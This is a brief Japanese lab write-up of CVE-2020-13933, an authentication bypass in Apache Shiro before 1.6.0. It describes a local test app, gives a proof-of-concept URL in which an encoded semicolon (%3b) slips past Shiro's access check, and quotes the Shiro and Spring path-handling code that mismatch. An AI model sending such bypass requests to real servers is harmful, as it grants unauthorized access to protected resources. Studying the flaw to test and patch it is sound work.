CVE-2020-13933 ラボ

shiro < 1.6.0 認証バイパス脆弱性

PoC

http://127.0.0.1:8080/res/%3bpoc

ラボ環境

コード説明

ShiroConfig.java：
　　権限設定。/res/* リソースへのリクエスト時に、302でログインページにリダイレクトし認証を行う。
NameController.java：
　　・ /res/{name}： name という名前のリソースをリクエスト（認証をトリガー）
　　・ /res/：リソースをリクエストしない（認証をトリガーしない）

ラボ検証

リクエストルートにリソース名を指定しない場合、認証はトリガーされず、リソースも返されません： http://127.0.0.1:8080/res/

リクエストルートにリソース名を指定した場合、302で認証ページにリダイレクトします： http://127.0.0.1:8080/res/poc

特定のPoCリクエストを構築してリソースを指定した場合、認証はトリガーされず、リソースが返されます： http://127.0.0.1:8080/res/%3bpoc （%3b は ; のURLエンコード）

脆弱性 DEBUG 位置

shiro-web-1.5.3.jar

// org.apache.shiro.web.util.WebUtils.java
// line 111

public static String getPathWithinApplication(HttpServletRequest request) {
    return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}

spring-web-5.2.5.RELEASE.jar

// org.springframework.web.util.UrlPathHelper.java
// line 459

private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
    uri = removeSemicolonContent(uri);
    uri = decodeRequestString(request, uri);
    uri = getSanitizedPath(uri);
    return uri;
}

CVE-2020-13933

人気